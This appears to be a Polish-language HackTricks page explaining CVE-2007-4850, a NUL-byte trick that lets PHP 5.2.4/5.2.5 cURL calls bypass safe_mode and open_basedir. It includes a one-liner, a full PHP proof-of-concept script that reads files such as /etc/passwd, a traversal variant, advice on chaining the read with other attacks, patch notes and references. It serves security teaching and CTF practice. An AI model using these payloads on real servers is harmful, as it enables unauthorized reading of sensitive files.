PHP 5.2.4 i 5.2.5 PHP cURL
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona opisuje przestarzały, ale wciąż przydatny w CTFs/lokalnych starych instalacjach trik pozwalający obejść sprawdzenia PHP safe_mode/open_basedir przy użyciu rozszerzenia cURL w określonych wersjach PHP 5.2.x.
- Dotknięte: PHP 5.2.4 i 5.2.5 z włączonym ext/curl.
- Wpływ: Odczyt dowolnych lokalnych plików pomimo ograniczeń safe_mode lub open_basedir (brak bezpośredniego wykonania kodu).
- ID: CVE-2007-4850.
Źródło: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Jeśli safe_mode lub open_basedir są aktywne, a cURL jest włączony, poniższe polecenie zwróci zawartość bieżącego skryptu:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Bardziej szczegółowy PoC (odczyt dowolnego pliku)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notatki:
- Użyj podwójnych cudzysłowów lub chr(0) aby wstrzyknąć prawdziwy bajt NUL. Percent-encoding (%00) nie będzie działać niezawodnie.
- To jest prymityw do odczytu pliku. Łącz z innymi prymitywami (log poisoning, session file inclusion, etc.) dla dalszej eskalacji, jeśli to możliwe.
Dlaczego to działa (krótko)
Luka polega na sposobie, w jaki PHP 5.2.4/5.2.5 wykonywał safe_mode/open_basedir kontrole dla file:// URL w ext/curl. Kontrola parsowała URL i walidowała komponent ścieżki, ale z powodu obsługi bajtu NUL walidowała inny ciąg niż ten faktycznie używany przez libcurl. W praktyce walidator mógł zatwierdzić ścieżkę po NUL, podczas gdy libcurl używał części przed NUL jako kontenera URL, co umożliwiało obejście skutkujące odczytem pliku umieszczonego po bajcie NUL. Zobacz oryginalną analizę i dotknięte makro w curl/interface.c po szczegóły. [CVE-2007-4850].
Ograniczenia i poprawki
- Naprawione w późniejszych wydaniach 5.2.x (np. distro builds patched to 5.2.6) przez skorygowanie parsowania/walidacji w ext/curl.
- Dotyczy tylko bardzo starych wdrożeń PHP; safe_mode został usunięty w PHP 5.4 i nowoczesne buildy nie wykazują tego zachowania.
Powiązane historyczne obejścia oparte na cURL
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed
file://access with embedded NULs to bypass open_basedir; fixed before 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using
file://without canonicalization. Any check before the NUL byte or withoutrealpath-style resolution is prone to the same truncation.
Wskazówki dla CTF
- Kiedy zidentyfikujesz PHP 5.2.4/5.2.5 z załadowanym ext/curl (szukaj
cURL support => enabledwphpinfo()i dokładnej wartościPHP Version), ten trik zwykle działa nawet jeśliallow_url_fopenjest wyłączone, ponieważ ext/curl obsługujefile://samodzielnie. - Jeśli bezpośrednie ścieżki są zablokowane, spróbuj relatywnego directory traversal po NUL, np.
file://x\x00../../../../etc/passwd. Przejście jest rozwiązywane przez libcurl, nie przez straż open_basedir. - Możesz opakować payload w jedno ciało żądania HTTP, aby wywołać LFI przez podatny kod po stronie serwera, który odwzorowuje kontrolowane przez użytkownika URL-e do
curl_exec()(częste w legacy SSRF-like endpoints).
Zobacz także
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


